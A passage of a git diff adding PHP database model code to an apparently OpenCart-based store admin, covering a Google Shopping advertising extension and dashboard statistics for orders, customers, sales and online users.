+ $sql = "SELECT DISTINCT po.option_id, od.name FROM `" . DB_PREFIX . "product_option` po LEFT JOIN `" . DB_PREFIX . "option_description` od ON (od.option_id=po.option_id AND od.language_id=" . (int)$this->config->get('config_language_id') . ") LEFT JOIN `" . DB_PREFIX . "option` o ON (o.option_id = po.option_id) LEFT JOIN `" . DB_PREFIX . "product` p ON (po.product_id = p.product_id) LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = po.product_id) WHERE o.type IN ('select', 'radio') AND pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($sql, $data);
+
+ return $this->db->query($sql)->rows;
+ }
+
+ public function addTarget($target, $store_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_target` SET `store_id`=" . (int)$store_id . ", `campaign_name`='" . $this->db->escape($target['campaign_name']) . "', `country`='" . $this->db->escape($target['country']) . "', `budget`='" . (float)$target['budget'] . "', `feeds`='" . $this->db->escape(json_encode($target['feeds'])) . "', `date_added`=NOW(), `roas`=" . (int)$target['roas'] . " , `status`='" . $this->db->escape($target['status']) . "'";
+
+ $this->db->query($sql);
+
+ return $this->db->getLastId();
+ }
+
+ public function deleteProducts($product_ids) {
+ $sql = "DELETE FROM `" . DB_PREFIX . "googleshopping_product` WHERE `product_id` IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+
+ $this->db->query($sql);
+
+ $sql = "DELETE FROM `" . DB_PREFIX . "googleshopping_product_target` WHERE `product_id` IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+
+ $this->db->query($sql);
+
+ $sql = "DELETE FROM `" . DB_PREFIX . "googleshopping_product_status` WHERE `product_id` IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+
+ $this->db->query($sql);
+
+ return true;
+ }
+
+ public function setAdvertisingBySelect($post_product_ids, $post_target_ids, $store_id) {
+ if (!empty($post_product_ids)) {
+ $product_ids = array_map(array($this->googleshopping, 'integer'), $post_product_ids);
+
+ $product_ids_expression = implode(',', $product_ids);
+
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "googleshopping_product_target` WHERE product_id IN (" . $product_ids_expression . ") AND store_id=" . (int)$store_id);
+
+ if (!empty($post_target_ids)) {
+ $target_ids = array_map(array($this->googleshopping, 'integer'), $post_target_ids);
+
+ $values = array();
+
+ foreach ($product_ids as $product_id) {
+ foreach ($target_ids as $target_id) {
+ $values[] = '(' . $product_id . ',' . $store_id . ',' . $target_id . ')';
+ }
+ }
+
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product_target` (`product_id`, `store_id`, `advertise_google_target_id`) VALUES " . implode(',', $values);
+
+ $this->db->query($sql);
+ }
+ }
+ }
+
+ public function setAdvertisingByFilter($data, $post_target_ids, $store_id) {
+ $sql = "DELETE pagt FROM `" . DB_PREFIX . "googleshopping_product_target` pagt LEFT JOIN `" . DB_PREFIX . "product` p ON (pagt.product_id = p.product_id) LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = p.product_id) WHERE pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($sql, $data);
+
+ $this->db->query($sql);
+
+ if (!empty($post_target_ids)) {
+ $target_ids = array_map(array($this->googleshopping, 'integer'), $post_target_ids);
+
+ $insert_sql = "SELECT p.product_id, " . (int)$store_id . " as store_id, '{TARGET_ID}' as advertise_google_target_id FROM `" . DB_PREFIX . "product` p LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = p.product_id) WHERE pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($insert_sql, $data);
+
+ foreach ($target_ids as $target_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product_target` (`product_id`, `store_id`, `advertise_google_target_id`) " . str_replace('{TARGET_ID}', (string)$target_id, $insert_sql);
+
+ $this->db->query($sql);
+ }
+ }
+ }
+
+ public function insertNewProducts($product_ids = array(), $store_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product` (`product_id`, `store_id`, `google_product_category`) SELECT p.product_id, p2s.store_id, (SELECT c2gpc.google_product_category FROM `" . DB_PREFIX . "product_to_category` p2c LEFT JOIN `" . DB_PREFIX . "category_path` cp ON (p2c.category_id = cp.category_id) LEFT JOIN `" . DB_PREFIX . "googleshopping_category` c2gpc ON (c2gpc.category_id = cp.path_id AND c2gpc.store_id = " . (int)$store_id . ") WHERE p2c.product_id = p.product_id AND c2gpc.google_product_category IS NOT NULL ORDER BY cp.level DESC LIMIT 0,1) as `google_product_category` FROM `" . DB_PREFIX . "product` p LEFT JOIN `" . DB_PREFIX . "product_to_store` p2s ON (p2s.product_id = p.product_id AND p2s.store_id = " . (int)$store_id . ") LEFT JOIN `" . DB_PREFIX . "googleshopping_product` pag ON (pag.product_id = p.product_id AND pag.store_id=p2s.store_id) WHERE pag.product_id IS NULL AND p2s.store_id IS NOT NULL";
+
+ if (!empty($product_ids)) {
+ $sql .= " AND p.product_id IN (" . $this->googleshopping->productIdsToIntegerExpression($product_ids) . ")";
+ }
+
+ $this->db->query($sql);
+ }
+
+ public function updateGoogleProductCategoryMapping($store_id) {
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product` (`product_id`, `store_id`, `google_product_category`) SELECT p.product_id, " . (int)$store_id . " as store_id, (SELECT c2gpc.google_product_category FROM `" . DB_PREFIX . "product_to_category` p2c LEFT JOIN `" . DB_PREFIX . "category_path` cp ON (p2c.category_id = cp.category_id) LEFT JOIN `" . DB_PREFIX . "googleshopping_category` c2gpc ON (c2gpc.category_id = cp.path_id AND c2gpc.store_id = " . (int)$store_id . ") WHERE p2c.product_id = p.product_id AND c2gpc.google_product_category IS NOT NULL ORDER BY cp.level DESC LIMIT 0,1) as `google_product_category` FROM `" . DB_PREFIX . "product` p LEFT JOIN `" . DB_PREFIX . "googleshopping_product` pag ON (pag.product_id = p.product_id) WHERE pag.product_id IS NOT NULL ON DUPLICATE KEY UPDATE `google_product_category`=VALUES(`google_product_category`)";
+
+ $this->db->query($sql);
+ }
+
+ public function updateSingleProductFields($data) {
+ $values = array();
+
+ $entry = array();
+ $entry['product_id'] = (int)$data['product_id'];
+ $entry = array_merge($entry, $this->makeInsertData($data));
+
+ $values[] = "(" . implode(",", $entry) . ")";
+
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product` (`product_id`, `store_id`, `google_product_category`, `condition`, `adult`, `multipack`, `is_bundle`, `age_group`, `color`, `gender`, `size_type`, `size_system`, `size`, `is_modified`) VALUES " . implode(',', $values) . " ON DUPLICATE KEY UPDATE " . $this->makeOnDuplicateKeyData();
+
+ $this->db->query($sql);
+ }
+
+ public function updateMultipleProductFields($filter_data, $data) {
+ $insert_sql = "SELECT p.product_id, {INSERT_DATA} FROM `" . DB_PREFIX . "product` p LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = p.product_id) WHERE pd.language_id=" . (int)$this->config->get('config_language_id');
+
+ $this->googleshopping->applyFilter($insert_sql, $filter_data);
+
+ $insert_data = array();
+ $keys[] = "`product_id`";
+
+ foreach ($this->makeInsertData($data) as $key => $value) {
+ $insert_data[] = $value . " as `" . $key . "`";
+ $keys[] = "`" . $key . "`";
+ }
+
+ $sql = "INSERT INTO `" . DB_PREFIX . "googleshopping_product` (" . implode(", ", $keys) . ") " . str_replace('{INSERT_DATA}', implode(", ", $insert_data), $insert_sql) . " ON DUPLICATE KEY UPDATE " . $this->makeOnDuplicateKeyData();
+
+ $this->db->query($sql);
+ }
+
+ protected function makeInsertData($data) {
+ $insert_data = array();
+
+ $insert_data['store_id'] = (int)$data['store_id'];
+ $insert_data['google_product_category'] = "'" . $this->db->escape($data['google_product_category']) . "'";
+ $insert_data['condition'] = "'" . $this->db->escape($data['condition']) . "'";
+ $insert_data['adult'] = (int)$data['adult'];
+ $insert_data['multipack'] = (int)$data['multipack'];
+ $insert_data['is_bundle'] = (int)$data['is_bundle'];
+ $insert_data['age_group'] = "'" . $this->db->escape($data['age_group']) . "'";
+ $insert_data['color'] = (int)$data['color'];
+ $insert_data['gender'] = "'" . $this->db->escape($data['gender']) . "'";
+ $insert_data['size_type'] = "'" . $this->db->escape($data['size_type']) . "'";
+ $insert_data['size_system'] = "'" . $this->db->escape($data['size_system']) . "'";
+ $insert_data['size'] = (int)$data['size'];
+ $insert_data['is_modified'] = 1;
+
+ return $insert_data;
+ }
+
+ protected function makeOnDuplicateKeyData() {
+ return "`google_product_category`=VALUES(`google_product_category`), `condition`=VALUES(`condition`), `adult`=VALUES(`adult`), `multipack`=VALUES(`multipack`), `is_bundle`=VALUES(`is_bundle`), `age_group`=VALUES(`age_group`), `color`=VALUES(`color`), `gender`=VALUES(`gender`), `size_type`=VALUES(`size_type`), `size_system`=VALUES(`size_system`), `size`=VALUES(`size`), `is_modified`=VALUES(`is_modified`)";
+ }
+
+ public function getCategories($data = array(), $store_id) {
+ $sql = "SELECT cp.category_id AS category_id, GROUP_CONCAT(cd1.name ORDER BY cp.level SEPARATOR ' > ') AS name, c1.parent_id, c1.sort_order FROM " . DB_PREFIX . "category_path cp LEFT JOIN `" . DB_PREFIX . "category_to_store` c2s ON (c2s.category_id = cp.category_id AND c2s.store_id=" . (int)$store_id . ") LEFT JOIN " . DB_PREFIX . "category c1 ON (cp.category_id = c1.category_id) LEFT JOIN " . DB_PREFIX . "category c2 ON (cp.path_id = c2.category_id) LEFT JOIN " . DB_PREFIX . "category_description cd1 ON (cp.path_id = cd1.category_id) LEFT JOIN " . DB_PREFIX . "category_description cd2 ON (cp.category_id = cd2.category_id) WHERE c2s.store_id IS NOT NULL AND cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cd2.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sql .= " GROUP BY cp.category_id";
+
+ $sort_data = array(
+ 'name',
+ 'sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getProductCampaigns($product_id, $store_id) {
+ $sql = "SELECT agt.advertise_google_target_id, agt.campaign_name FROM `" . DB_PREFIX . "googleshopping_product_target` pagt LEFT JOIN `" . DB_PREFIX . "googleshopping_target` agt ON (pagt.advertise_google_target_id = agt.advertise_google_target_id) WHERE pagt.product_id=" . (int)$product_id . " AND pagt.store_id=" . (int)$store_id;
+
+ return $this->db->query($sql)->rows;
+ }
+
+ public function getProductIssues($product_id, $store_id) {
+ $this->load->model('localisation/language');
+
+ $sql = "SELECT pag.color, pag.size, pd.name, p.model FROM `" . DB_PREFIX . "googleshopping_product` pag LEFT JOIN `" . DB_PREFIX . "product` p ON (p.product_id = pag.product_id) LEFT JOIN `" . DB_PREFIX . "product_description` pd ON (pd.product_id = pag.product_id AND pd.language_id=" . (int)$this->config->get('config_language_id') . ") WHERE pag.product_id=" . (int)$product_id . " AND pag.store_id=" . (int)$store_id;
+
+ $product_info = $this->db->query($sql)->row;
+
+ if (!empty($product_info)) {
+ $result = array();
+ $result['name'] = $product_info['name'];
+ $result['model'] = $product_info['model'];
+ $result['entries'] = array();
+
+ foreach ($this->model_localisation_language->getLanguages() as $language) {
+ $language_id = $language['language_id'];
+ $groups = $this->googleshopping->getGroups($product_id, $language_id, $product_info['color'], $product_info['size']);
+
+ $result['entries'][$language_id] = array(
+ 'language_name' => $language['name'],
+ 'issues' => array()
+ );
+
+ foreach ($groups as $id => $group) {
+ $issues = $this->db->query("SELECT * FROM `" . DB_PREFIX . "googleshopping_product_status` WHERE product_id=" . (int)$product_id . " AND store_id=" . (int)$store_id . " AND product_variation_id='" . $this->db->escape($id) . "'")->row;
+
+ $destination_statuses = !empty($issues['destination_statuses']) ? json_decode($issues['destination_statuses'], true) : array();
+ $data_quality_issues = !empty($issues['data_quality_issues']) ? json_decode($issues['data_quality_issues'], true) : array();
+ $item_level_issues = !empty($issues['item_level_issues']) ? json_decode($issues['item_level_issues'], true) : array();
+ $google_expiration_date = !empty($issues['google_expiration_date']) ? date($this->language->get('datetime_format'), $issues['google_expiration_date']) : $this->language->get('text_na');
+
+ $result['entries'][$language_id]['issues'][] = array(
+ 'color' => $group['color'] != "" ? $group['color'] : $this->language->get('text_na'),
+ 'size' => $group['size'] != "" ? $group['size'] : $this->language->get('text_na'),
+ 'destination_statuses' => $destination_statuses,
+ 'data_quality_issues' => $data_quality_issues,
+ 'item_level_issues' => $item_level_issues,
+ 'google_expiration_date' => $google_expiration_date
+ );
+ }
+ }
+
+ return $result;
+ }
+
+ return null;
+ }
+
+ /*
+ * Shortly after releasing the extension,
+ * we learned that the table names are actually
+ * clashing with third-party extensions.
+ * Hence, this renaming script was created.
+ */
+ public function renameTables() {
+ foreach ($this->rename_tables as $old_table => $new_table) {
+ $new_table_name = DB_PREFIX . $new_table;
+ $old_table_name = DB_PREFIX . $old_table;
+
+ if ($this->tableExists($old_table_name) && !$this->tableExists($new_table_name) && $this->tableColumnsMatch($old_table_name, $this->table_columns[$new_table])) {
+ $this->db->query("RENAME TABLE `" . $old_table_name . "` TO `" . $new_table_name . "`");
+ }
+ }
+ }
+
+ private function tableExists($table) {
+ return $this->db->query("SHOW TABLES LIKE '" . $table . "'")->num_rows > 0;
+ }
+
+ private function tableColumnsMatch($table, $columns) {
+ $num_columns = $this->db->query("SHOW COLUMNS FROM `" . $table . "` WHERE Field IN (" . implode(',', $this->wrap($columns, '"')) . ")")->num_rows;
+
+ return $num_columns == count($columns);
+ }
+
+ private function wrap($text, $char) {
+ if (is_array($text)) {
+ foreach ($text as &$string) {
+ $string = $char . $string . $char;
+ }
+
+ return $text;
+ } else {
+ return $char . $text . $char;
+ }
+ }
+
+ public function createTables() {
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_product` (
+ `product_advertise_google_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
+ `product_id` INT(11),
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `has_issues` TINYINT(1),
+ `destination_status` ENUM('pending','approved','disapproved') NOT NULL DEFAULT 'pending',
+ `impressions` INT(11) NOT NULL DEFAULT '0',
+ `clicks` INT(11) NOT NULL DEFAULT '0',
+ `conversions` INT(11) NOT NULL DEFAULT '0.0000',
+ `cost` decimal(15,4) NOT NULL DEFAULT '0.0000',
+ `conversion_value` decimal(15,4) NOT NULL DEFAULT '0.0000',
+ `google_product_category` VARCHAR(10),
+ `condition` ENUM('new','refurbished','used'),
+ `adult` TINYINT(1),
+ `multipack` INT(11),
+ `is_bundle` TINYINT(1),
+ `age_group` ENUM('newborn','infant','toddler','kids','adult'),
+ `color` INT(11),
+ `gender` ENUM('male','female','unisex'),
+ `size_type` ENUM('regular','petite','plus','big and tall','maternity'),
+ `size_system` ENUM('AU','BR','CN','DE','EU','FR','IT','JP','MEX','UK','US'),
+ `size` INT(11),
+ `is_modified` TINYINT(1) NOT NULL DEFAULT '0',
+ PRIMARY KEY (`product_advertise_google_id`),
+ UNIQUE `product_id_store_id` (`product_id`, `store_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_product_status` (
+ `product_id` INT(11),
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `product_variation_id` varchar(64),
+ `destination_statuses` TEXT NOT NULL,
+ `data_quality_issues` TEXT NOT NULL,
+ `item_level_issues` TEXT NOT NULL,
+ `google_expiration_date` INT(11) NOT NULL DEFAULT '0',
+ PRIMARY KEY (`product_id`, `store_id`, `product_variation_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_product_target` (
+ `product_id` INT(11) NOT NULL,
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `advertise_google_target_id` INT(11) UNSIGNED NOT NULL,
+ PRIMARY KEY (`product_id`, `advertise_google_target_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_category` (
+ `google_product_category` VARCHAR(10) NOT NULL,
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `category_id` INT(11) NOT NULL,
+ INDEX `category_id_store_id` (`category_id`, `store_id`),
+ PRIMARY KEY (`google_product_category`, `store_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+
+ $this->db->query("CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "googleshopping_target` (
+ `advertise_google_target_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT,
+ `store_id` INT(11) NOT NULL DEFAULT '0',
+ `campaign_name` varchar(255) NOT NULL DEFAULT '',
+ `country` varchar(2) NOT NULL DEFAULT '',
+ `budget` decimal(15,4) NOT NULL DEFAULT '0.0000',
+ `feeds` text NOT NULL,
+ `date_added` DATE,
+ `roas` INT(11) NOT NULL DEFAULT '0',
+ `status` ENUM('paused','active') NOT NULL DEFAULT 'paused',
+ INDEX `store_id` (`store_id`),
+ PRIMARY KEY (`advertise_google_target_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8");
+ }
+
+ public function fixColumns() {
+ $has_auto_increment = $this->db->query("SHOW COLUMNS FROM `" . DB_PREFIX . "googleshopping_product` WHERE Field='product_advertise_google_id' AND Extra LIKE '%auto_increment%'")->num_rows > 0;
+
+ if (!$has_auto_increment) {
+ $this->db->query("ALTER TABLE " . DB_PREFIX . "googleshopping_product MODIFY COLUMN product_advertise_google_id INT(11) UNSIGNED NOT NULL AUTO_INCREMENT");
+ }
+
+ $has_unique_key = $this->db->query("SHOW INDEX FROM `" . DB_PREFIX . "googleshopping_product` WHERE Key_name='product_id_store_id' AND Non_unique=0")->num_rows == 2;
+
+ if (!$has_unique_key) {
+ $index_exists = $this->db->query("SHOW INDEX FROM `" . DB_PREFIX . "googleshopping_product` WHERE Key_name='product_id_store_id'")->num_rows > 0;
+
+ if ($index_exists) {
+ $this->db->query("ALTER TABLE `" . DB_PREFIX . "googleshopping_product` DROP INDEX product_id_store_id;");
+ }
+
+ $this->db->query("CREATE UNIQUE INDEX product_id_store_id ON `" . DB_PREFIX . "googleshopping_product` (product_id, store_id)");
+ }
+
+ $has_date_added_column = $this->db->query("SHOW COLUMNS FROM `" . DB_PREFIX . "googleshopping_target` WHERE Field='date_added'")->num_rows > 0;
+
+ if (!$has_date_added_column) {
+ $this->db->query("ALTER TABLE " . DB_PREFIX . "googleshopping_target ADD COLUMN date_added DATE");
+
+ $this->db->query("UPDATE " . DB_PREFIX . "googleshopping_target SET date_added = NOW() WHERE date_added IS NULL");
+ }
+
+ $has_roas_column = $this->db->query("SHOW COLUMNS FROM `" . DB_PREFIX . "googleshopping_target` WHERE Field='roas'")->num_rows > 0;
+
+ if (!$has_roas_column) {
+ $this->db->query("ALTER TABLE " . DB_PREFIX . "googleshopping_target ADD COLUMN roas INT(11) NOT NULL DEFAULT '0'");
+ }
+ }
+
+ public function dropTables() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_target`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_category`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_product_status`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_product_target`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "googleshopping_product`");
+ }
+
+ public function deleteEvents() {
+ $this->load->model('setting/event');
+
+ $this->model_setting_event->deleteEventByCode('advertise_google');
+ }
+
+ public function createEvents() {
+ $this->load->model('setting/event');
+
+ foreach ($this->events as $trigger => $actions) {
+ foreach ($actions as $action) {
+ $this->model_setting_event->addEvent('advertise_google', $trigger, $action, 1, 0);
+ }
+ }
+ }
+
+ public function getAllowedTargets() {
+ $this->load->config('googleshopping/googleshopping');
+
+ $result = array();
+
+ foreach ($this->config->get('advertise_google_targets') as $target) {
+ $result[] = array(
+ 'country' => array(
+ 'code' => $target['country'],
+ 'name' => $this->googleshopping->getCountryName($target['country'])
+ ),
+ 'languages' => $this->googleshopping->getLanguages($target['languages']),
+ 'currencies' => $this->googleshopping->getCurrencies($target['currencies'])
+ );
+ }
+
+ return $result;
+ }
+
+ protected function country($row) {
+ return $row['country'];
+ }
+}
diff --git a/public/admin/model/extension/dashboard/activity.php b/public/admin/model/extension/dashboard/activity.php
new file mode 100644
index 0000000..2ed8cc9
--- /dev/null
+++ b/public/admin/model/extension/dashboard/activity.php
@@ -0,0 +1,8 @@
+db->query("SELECT `key`, `data`, `date_added` FROM `" . DB_PREFIX . "customer_activity` ORDER BY `date_added` DESC LIMIT 0,5");
+
+ return $query->rows;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/dashboard/chart.php b/public/admin/model/extension/dashboard/chart.php
new file mode 100644
index 0000000..6e3f495
--- /dev/null
+++ b/public/admin/model/extension/dashboard/chart.php
@@ -0,0 +1,214 @@
+config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 0; $i < 24; $i++) {
+ $order_data[$i] = array(
+ 'hour' => $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $order_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByWeek() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $order_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByMonth() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $order_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalOrdersByYear() {
+ $implode = array();
+
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = "'" . (int)$order_status_id . "'";
+ }
+
+ $order_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $order_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "order` WHERE order_status_id IN(" . implode(",", $implode) . ") AND YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $order_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $order_data;
+ }
+
+ public function getTotalCustomersByDay() {
+ $customer_data = array();
+
+ for ($i = 0; $i < 24; $i++) {
+ $customer_data[$i] = array(
+ 'hour' => $i,
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, HOUR(date_added) AS hour FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) = DATE(NOW()) GROUP BY HOUR(date_added) ORDER BY date_added ASC");
+
+ foreach ($query->rows as $result) {
+ $customer_data[$result['hour']] = array(
+ 'hour' => $result['hour'],
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByWeek() {
+ $customer_data = array();
+
+ $date_start = strtotime('-' . date('w') . ' days');
+
+ for ($i = 0; $i < 7; $i++) {
+ $date = date('Y-m-d', $date_start + ($i * 86400));
+
+ $customer_data[date('w', strtotime($date))] = array(
+ 'day' => date('D', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) >= DATE('" . $this->db->escape(date('Y-m-d', $date_start)) . "') GROUP BY DAYNAME(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('w', strtotime($result['date_added']))] = array(
+ 'day' => date('D', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByMonth() {
+ $customer_data = array();
+
+ for ($i = 1; $i <= date('t'); $i++) {
+ $date = date('Y') . '-' . date('m') . '-' . $i;
+
+ $customer_data[date('j', strtotime($date))] = array(
+ 'day' => date('d', strtotime($date)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE DATE(date_added) >= '" . $this->db->escape(date('Y') . '-' . date('m') . '-1') . "' GROUP BY DATE(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('j', strtotime($result['date_added']))] = array(
+ 'day' => date('d', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+
+ public function getTotalCustomersByYear() {
+ $customer_data = array();
+
+ for ($i = 1; $i <= 12; $i++) {
+ $customer_data[$i] = array(
+ 'month' => date('M', mktime(0, 0, 0, $i)),
+ 'total' => 0
+ );
+ }
+
+ $query = $this->db->query("SELECT COUNT(*) AS total, date_added FROM `" . DB_PREFIX . "customer` WHERE YEAR(date_added) = YEAR(NOW()) GROUP BY MONTH(date_added)");
+
+ foreach ($query->rows as $result) {
+ $customer_data[date('n', strtotime($result['date_added']))] = array(
+ 'month' => date('M', strtotime($result['date_added'])),
+ 'total' => $result['total']
+ );
+ }
+
+ return $customer_data;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/dashboard/map.php b/public/admin/model/extension/dashboard/map.php
new file mode 100644
index 0000000..856a833
--- /dev/null
+++ b/public/admin/model/extension/dashboard/map.php
@@ -0,0 +1,20 @@
+config->get('config_complete_status'))) {
+ foreach ($this->config->get('config_complete_status') as $order_status_id) {
+ $implode[] = (int)$order_status_id;
+ }
+ }
+
+ if ($implode) {
+ $query = $this->db->query("SELECT COUNT(*) AS total, SUM(o.total) AS amount, c.iso_code_2 FROM `" . DB_PREFIX . "order` o LEFT JOIN `" . DB_PREFIX . "country` c ON (o.payment_country_id = c.country_id) WHERE o.order_status_id IN(" . implode(',', $implode) . ") GROUP BY o.payment_country_id");
+
+ return $query->rows;
+ } else {
+ return array();
+ }
+ }
+}
diff --git a/public/admin/model/extension/dashboard/online.php b/public/admin/model/extension/dashboard/online.php
new file mode 100644
index 0000000..6cf7415
--- /dev/null
+++ b/public/admin/model/extension/dashboard/online.php
@@ -0,0 +1,24 @@
+db->escape($data['filter_ip']) . "'";
+ }
+
+ if (!empty($data['filter_customer'])) {
+ $implode[] = "co.customer_id > 0 AND CONCAT(c.firstname, ' ', c.lastname) LIKE '" . $this->db->escape($data['filter_customer']) . "'";
+ }
+
+ if ($implode) {
+ $sql .= " WHERE " . implode(" AND ", $implode);
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/extension/dashboard/sale.php b/public/admin/model/extension/dashboard/sale.php
new file mode 100644
index 0000000..8732ba9
--- /dev/null
+++ b/public/admin/model/extension/dashboard/sale.php
@@ -0,0 +1,438 @@
+ '0'";
+
